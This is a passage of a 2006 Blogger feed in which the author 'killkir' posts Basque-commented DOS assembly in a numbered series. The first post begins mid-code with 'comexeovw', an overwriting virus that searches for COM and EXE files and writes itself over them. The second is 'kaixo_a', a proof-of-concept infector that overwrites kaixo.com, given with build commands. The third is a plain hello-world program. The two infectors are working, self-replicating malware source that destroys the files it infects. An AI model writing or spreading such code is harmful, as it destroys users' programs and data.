dugunaren iturria: comexeovw hasiera&lt;br /&gt;    int     21h                                       ; Software etena 40h deia burutzeko&lt;br /&gt;&lt;br /&gt;itxi:                                          ; Fitxategia ixten da&lt;br /&gt;    mov     ah,3eh                        ; AH=3eh, fitxategiak ixteko sistema deia&lt;br /&gt;    int     21h                              ; Software etena 3eh deia burutzeko&lt;br /&gt;    mov     ah,4fh                         ; hurrengoa bilatzeko deia&lt;br /&gt;    cmp    bp,0&lt;br /&gt;    jz bilatucom&lt;br /&gt;    jmp bilatuexe&lt;br /&gt;&lt;br /&gt;bukatucom:                                 ; Payload edo ordaina hasten da.&lt;br /&gt;    inc  bp                                    ; BP = BP + 1. Orain 0ren desberdina&lt;br /&gt;    jmp hasiexe                                ; Software etena 09h deia burutzeko&lt;br /&gt;&lt;br /&gt;ordaina:                                       ; Payload edo ordaina hasten da.&lt;br /&gt;    mov     ah,09h                             ; AH=09h, katea pantailaratzeko sistema deia&lt;br /&gt;    lea     dx,mezua                           ; DX=mezua, katearen helbidearen bitartez&lt;br /&gt;    int     21h                                ; Software etena 09h deia burutzeko&lt;br /&gt;&lt;br /&gt;    int     20h                                ; Programa amaitzeko dei zaharkitua&lt;br /&gt;&lt;br /&gt;kateacom   db      '*.com',0                  ; Infektatuko diren fitxategi izenen patroia&lt;br /&gt;kateaexe   db      '*.exe',0                  ; Infektatuko diren fitxategi izenen patroia&lt;br /&gt;mezua   db      'COM eta EXE guztiak nire esku,'$'             ; ordain gisa aterako den mezua, beti $ batekin bukatuta&lt;br /&gt;&lt;br /&gt;bukaera   label   near                         ; Etiketa hutsa kode honen tamaina kalkulatzeko&lt;br /&gt;&lt;br /&gt;comexe   endp                                   ; comexe prozeduraren amaiera&lt;br /&gt;kodesegmentua ends                             ; Kode segmentuaren bukaera&lt;br /&gt;end comexeovw                                   ; bukaera&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114594959103605297?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114594959103605297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114594959103605297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114594959103605297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114594959103605297'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0003-comexeovw.html' title='0003 - comexeovw'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114578512201573082</id><published>2006-04-23T02:35:00.000-07:00</published><updated>2006-05-05T08:52:40.000-07:00</updated><title type='text'>0002 - kaixo_a - 4eh, 3dh, 40h, 3eh,</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; kaixo_a.asm&lt;br /&gt;; killkir&lt;br /&gt;; KAIXO.COM izeneko lehen fitxategia bilatu, read-write moduan ireki&lt;br /&gt;; eta bere kodea kopiatzen du fitxategi hasieran. PoC kaxkarra.&lt;br /&gt;; konpilazioa: tasm kaixo_a.asm&lt;br /&gt;; estekaketa: tlink /t kaixo_a.obj&lt;br /&gt;&lt;br /&gt;kodesegmentua segment                          ; Kode segmentuaren hasiera&lt;br /&gt;    assume  cs:kodesegmentua,ds:kodesegmentua  ; CS eta DS segmentu berdinean&lt;br /&gt;    org     100h                               ; COM fitxategia izateko behar den marka&lt;br /&gt;kaixo proc near                                ; kaixo prozeduraren hasiera&lt;br /&gt;&lt;br /&gt;kaixo_a:                                       ; Hasierako etiketa&lt;br /&gt;      mov     ah,4eh                             ; AH=4eh, bilaketa sistema deia&lt;br /&gt;    xor     cx,cx                              ; CX=0 egiteko modua&lt;br /&gt;    lea     dx,katea                           ; DX='kaixo.com', katearen helbidearen bitartez&lt;br /&gt;    int     21h                                ; Software etena 4eh deia burutzeko&lt;br /&gt;    jc      ordaina                            ; Carry flag 1,ez da ezer topatu, bada ordainara pasa&lt;br /&gt;&lt;br /&gt;ireki:                                         ; Fitxategia topatu bada irekiko dugu&lt;br /&gt;    mov     ax,3d02h                           ; AH=3dh deia (ireki), AL=02h RW moduan&lt;br /&gt;    mov     dx,9eh                             ; PSParen DTAtik topatutako fitxategi izena hartzen du&lt;br /&gt;    int     21h                                ; Software etena 3dh deia burutzeko&lt;br /&gt;&lt;br /&gt;zoldura:                                       ; Zoldura hasten da&lt;br /&gt;    xchg    bx,ax                              ; AX eta BX arteko swap-a&lt;br /&gt;    mov     ah,40h                             ; AH=40h, idazketa sistema deia&lt;br /&gt;    mov     cx,offset bukaera - offset kaixo_a ; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke&lt;br /&gt;    lea     dx,kaixo_a                         ; DX=idatzi nahi dugunaren iturria: kaixo_a-ren hasiera&lt;br /&gt;    int     21h                                ; Software etena 40h deia burutzeko&lt;br /&gt;&lt;br /&gt;itxi:                                          ; Fitxategia ixten da&lt;br /&gt;    mov     ah,3eh                             ; AH=3eh, fitxategiak ixteko sistema deia&lt;br /&gt;    int     21h                                ; Software etena 3eh deia burutzeko&lt;br /&gt;&lt;br /&gt;ordaina:                                       ; Payload edo ordaina hasten da.&lt;br /&gt;    mov     ah,09h                             ; AH=09h, katea pantailaratzeko sistema deia&lt;br /&gt;    lea     dx,mezua                           ; DX='Kaixo_a naiz', katearen helbidearen bitartez&lt;br /&gt;    int     21h                                ; Software etena 09h deia burutzeko&lt;br /&gt;&lt;br /&gt;    int     20h                                ; Programa amaitzeko dei zaharkitua&lt;br /&gt;&lt;br /&gt;katea   db      'kaixo.com',0                  ; Infektatuko diren fitxategi izenen patroia&lt;br /&gt;mezua   db      'Kaixo_A naiz','$'             ; ordain gisa aterako den mezua, beti $ batekin bukatuta&lt;br /&gt;&lt;br /&gt;bukaera   label   near                         ; Etiketa hutsa kode honen tamaina kalkulatzeko&lt;br /&gt;&lt;br /&gt;kaixo   endp                                   ; kaixo prozeduraren amaiera&lt;br /&gt;kodesegmentua ends                             ; Kode segmentuaren bukaera&lt;br /&gt;end kaixo_a                                    ; kaixo_aren bukaera&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114578512201573082?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114578512201573082/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114578512201573082' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114578512201573082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114578512201573082'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0002-kaixoa-4eh-3dh-40h-3eh.html' title='0002 - kaixo_a - 4eh, 3dh, 40h, 3eh,'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114578238856393875</id><published>2006-04-23T01:50:00.000-07:00</published><updated>2006-04-23T02:39:43.883-07:00</updated><title type='text'>0001 - Kaixo Mundua - 09h</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; Kaixo Mundua&lt;br /&gt;; Mezu bat pantailaratzen duen kodea, COM formatoan.&lt;br /&gt;; Konpilazioa: tasm kaixo.com&lt;br /&gt;; Estekaketa:  tlink /t kaixo.obj&lt;br /&gt;; Killkir&lt;br /&gt;&lt;br /&gt;NireKodea segment&lt;br /&gt;assume cs: NireKodea, ds: NireKodea&lt;br /&gt;&lt;br /&gt;org 100h            ; Hona hemen COM fitxategiek behar duten direktiba.&lt;br /&gt;&lt;br /&gt;kaixo proc near&lt;br /&gt;nagusia:&lt;br /&gt; mov ah, 09h          ; AH=09H sistema deia, katea pantailaratzeko&lt;br /&gt; mov DX, offset mezua ; DX=[mezua]ren memoria helbidea&lt;br /&gt; int 21h              ; Sistema deia eragiten da&lt;br /&gt; int 20h        ; programa bukatzeko deia&lt;br /&gt;&lt;br /&gt;; aldagaia: mezua.&lt;br /&gt;mezua db 'Kaixo mundua','$'   ; $ jarri behar zaio kate amaiera adierazteko&lt;br /&gt;&lt;br /&gt;kaixo endp&lt;br /&gt;NireKodea ends&lt;br /&gt;end nagusia&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114578238856393875?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114578238856393875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114578238856393875' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114578238856393875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114578238856393875'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0001-kaixo-mundua-09h.html' title='0001 - Kaixo Mundua - 09h'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry></feed>
